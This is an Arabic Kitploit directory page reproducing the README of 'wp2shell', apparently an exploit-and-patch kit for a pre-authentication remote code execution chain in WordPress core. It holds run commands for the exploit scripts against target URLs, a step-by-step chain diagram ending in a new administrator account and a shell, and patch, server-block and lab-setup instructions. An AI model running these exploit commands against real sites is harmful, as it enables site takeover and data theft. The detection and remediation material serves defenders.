Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
wp2shell — wp2shell — ثغرة RCE قبل المصادقة في نواة ووردبريس (CVE-2026-63030 + CVE-2026-60137). مجموعة أدوات استغلال + تصحيح. | Kitploit
أدوات/GitHubGitHub/ikow/wp2shell
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراقالتعلم والتعليممختبرات وتدريب عملي
GitHubikow/wp2shell

wp2shell

wp2shell — ثغرة RCE قبل المصادقة في نواة ووردبريس (CVE-2026-63030 + CVE-2026-60137). مجموعة أدوات استغلال + تصحيح.

عرض المستودع
102منذ شهر واحدلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

wp2shell — تنفيذ التعليمات البرمجية عن بُعد قبل المصادقة في نواة ووردبريس

CVE-2026-63030 (التباس مسار الدفعة، CVSS 7.5) + CVE-2026-60137 (حقن SQL، CVSS 9.1)

سلسلة تنفيذ تعليمات برمجية عن بُعد قبل المصادقة في نواة ووردبريس لا تتطلب أي إضافات أو تهيئة خاصة، وتعمل على التثبيتات الافتراضية.


الإصدارات المتأثرة

نطاق الإصدارالتأثيرتم الإصلاح في
ووردبريس 7.0.0 – 7.0.1RCE كامل7.0.2
ووردبريس 6.9.0 – 6.9.4RCE كامل6.9.5
ووردبريس 6.8.0 – 6.8.5حقن SQL فقط6.8.6

الشرط المسبق: عدم وجود ذاكرة تخزين مؤقت ثابتة للكائنات (Redis/Memcached). هذا هو التهيئة الافتراضية للغالبية العظمى من تثبيتات ووردبريس.


ملخص الثغرات

يستغل الاختراق ثغرتين:

  1. التباس مسار دفعة REST API — مسار مشوّه في طلب فرعي للدفعة يؤدي إلى إرجاع wp_parse_url() القيمة false، مما يُنشئ كائن WP_Error يؤدي إلى إلغاء تزامن المصفوفتين $matches[] و$requests[]. تُرسل الطلبات اللاحقة إلى معالجات خاطئة، متجاوزة المصادقة.

  2. حقن SQL في WP_Query — عند تمرير author__not_in كسلسلة نصية (وليس مصفوفة)، يتم تجاوز تنقية absint() ويُدرج القيمة الخام مباشرة في جملة SQL WHERE.

بدمج ذلك مع نظام التخزين المؤقت لـ oEmbed في ووردبريس (أساسي للكتابة)، والنشر التلقائي لتغييرات Customizer (تصعيد الصلاحيات)، وإعادة الدخول إلى REST API (التوزيع بصلاحيات)، يتم تحقيق تنفيذ تعليمات برمجية دون مصادقة.


هيكل المستودع

root@kitploit:~
wp2shell/
├── README.md                          ← هذا الملف
│
├── wp2shell-exploit/                  ← أدوات الاستغلال
│   ├── exploit.py                     # استغلال RCE كامل بدون مصادقة (لا حاجة لكسر كلمة المرور)
│   ├── exploit_hash.py                # استخراج التجزئة + RCE بعد المصادقة
│   ├── detect.py                      # ماسح ثغرات غير تخريبي
│   └── README.md
│
├── wp2shell-patch/                    ← المعالجة
│   ├── patch.sh                       # تصحيح شفرة المصدر (يعكس الإصلاح الرسمي)
│   ├── wp2shell-shield.php            # إضافة إسقاطية (mu-plugin) (نشر في 30 ثانية)
│   ├── block-batch.conf               # تخفيف Nginx
│   ├── block-batch.htaccess           # تخفيف Apache
│   └── README.md
│
├── docker-compose.yml                 # بيئة اختبار ضعيفة (WP 7.0.1)
└── Dockerfile.debug                   # صورة مفعلة بـ XDebug للبحث

شفرة ووردبريس غير متضمنة. حمّلها من https://wordpress.org/download/releases/ (7.0.1 للضعيفة، 7.0.2 للمصححة).


بدء سريع

الكشف (آمن، غير تخريبي)

root@kitploit:~
cd wp2shell-exploit

# هدف واحد
python3 detect.py https://target.example

# مع تأكيد توقيت حقن SQL
python3 detect.py https://target.example --confirm-sqli

# مسح دفعة من ملف
python3 detect.py targets.txt -q

الاستغلال

root@kitploit:~
# استغلال RCE كامل بدون مصادقة (موصى به — لا حاجة لكسر كلمة المرور)
python3 exploit.py https://target.example -c "id"

# مجرد استخراج بيانات عبر SQLi أعمى
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"

# بديل: استخراج تجزئة + كسر + RCE بعد المصادقة
python3 exploit_hash.py https://target.example
# ثم بعد الكسر:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"

المعالجة

root@kitploit:~
cd wp2shell-patch

# الخيار 1: إضافة إسقاطية (الأسرع، لا حاجة لإعادة التشغيل)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/

# الخيار 2: حظر خادم الويب
# Nginx: أضف block-batch.conf في كتلة الخادم
# Apache: أضف block-batch.htaccess في بداية .htaccess

# الخيار 3: تصحيح شفرة المصدر (إصلاح كامل)
sudo bash patch.sh /path/to/wordpress

# الخيار الأفضل: فقط حدّث ووردبريس
wp core update  # أو لوحة التحكم ← التحديثات

سلسلة الاستغلال

root@kitploit:~
                    ┌─────────────────────────────┐
                    │  Anonymous HTTP Request      │
                    │  POST /?rest_route=/batch/v1 │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Batch Desync (outer)        │
                    │  Malformed path → WP_Error   │
                    │  $matches[] array shifts     │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Steal /batch/v1 handler     │
                    │  (no permission_callback!)   │
                    │  → nested batch executes     │
                    └──────────────┬──────────────┘
                                   │
                    ┌──────────────▼──────────────┐
                    │  Batch Desync (inner)        │
                    │  GET methods now allowed     │
                    │  author_exclude unsanitized  │
                    └──────────────┬──────────────┘
                                   │
              ┌────────────────────┼────────────────────┐
              │                    │                    │
   ┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
   │ Phase 1: oEmbed     │ │ Phase 2:    │ │ Phase 3: Escalation │
   │ UNION SELECT fake   │ │ Blind SQLi  │ │ Cache poison +      │
   │ post with [embed]   │ │ extract IDs │ │ Changeset publish   │
   │ → WP creates cache  │ │ + admin ID  │ │ → wp_set_current_   │
   │ posts (write prim.) │ │             │ │   user(admin)       │
   └─────────────────────┘ └─────────────┘ └──────────┬──────────┘
                                                       │
                                        ┌──────────────▼──────────────┐
                                        │  Re-entrancy                │
                                        │  parse_request triggers     │
                                        │  serve_request() re-entry   │
                                        │  → now running as admin!    │
                                        └──────────────┬──────────────┘
                                                       │
                                        ┌──────────────▼──────────────┐
                                        │  POST /wp/v2/users          │
                                        │  Creates new administrator  │
                                        │  → Login → Plugin → Shell   │
                                        └─────────────────────────────┘

تحليل التصحيح

يُطبق ووردبريس 6.9.5 / 7.0.2 ثلاثة إصلاحات يكسر كل منها رابطًا واحدًا في السلسلة:

يضيف ووردبريس 7.0.2 أيضًا إزالة ميزة التعاون (دفاع في العمق).


بيئة الاختبار

root@kitploit:~
# تشغيل ووردبريس 7.0.1 الضعيف
docker compose up -d
# انتظر حتى تهيئة MySQL، ثم ثبّت
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
  --data-urlencode "weblog_title=Test" \
  --data-urlencode "user_name=admin" \
  --data-urlencode "admin_password=TestPassword123" \
  --data-urlencode "admin_password2=TestPassword123" \
  --data-urlencode "[email protected]" \
  --data-urlencode "blog_public=0" \
  --data-urlencode "Submit=Install WordPress"

# استغلال
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"

# تنظيف
docker compose down

المراجع

  • استشارة Searchlight Cyber
  • مدونة Hadrian التقنية
  • إصدار ووردبريس 7.0.2
  • CVE-2026-63030 (GHSA)
  • CVE-2026-60137 (GHSA)

إخلاء مسؤولية

هذا المستودع مُقدم لغرض البحث الأمني المصرح به واختبار الاختراق والأغراض التعليمية فقط. استخدمه فقط على الأنظمة التي تمتلكها أو لديك إذن كتابي صريح لاختبارها.

تنزيل الأداة
الإصلاحالملفالتأثير
محاذاة المصفوفةclass-wp-rest-server.phpإضافة $matches[] = $single_request للمدخلات من نوع WP_Error — يمنع إلغاء التزامن
حاجز إعادة الدخولclass-wp-rest-server.php + rest-api.phpif ($this->is_dispatching()) return false — يمنع serve_request المتداخل
تنقية SQLclass-wp-query.phpتطبيق wp_parse_id_list() دائمًا — يمنع الحقن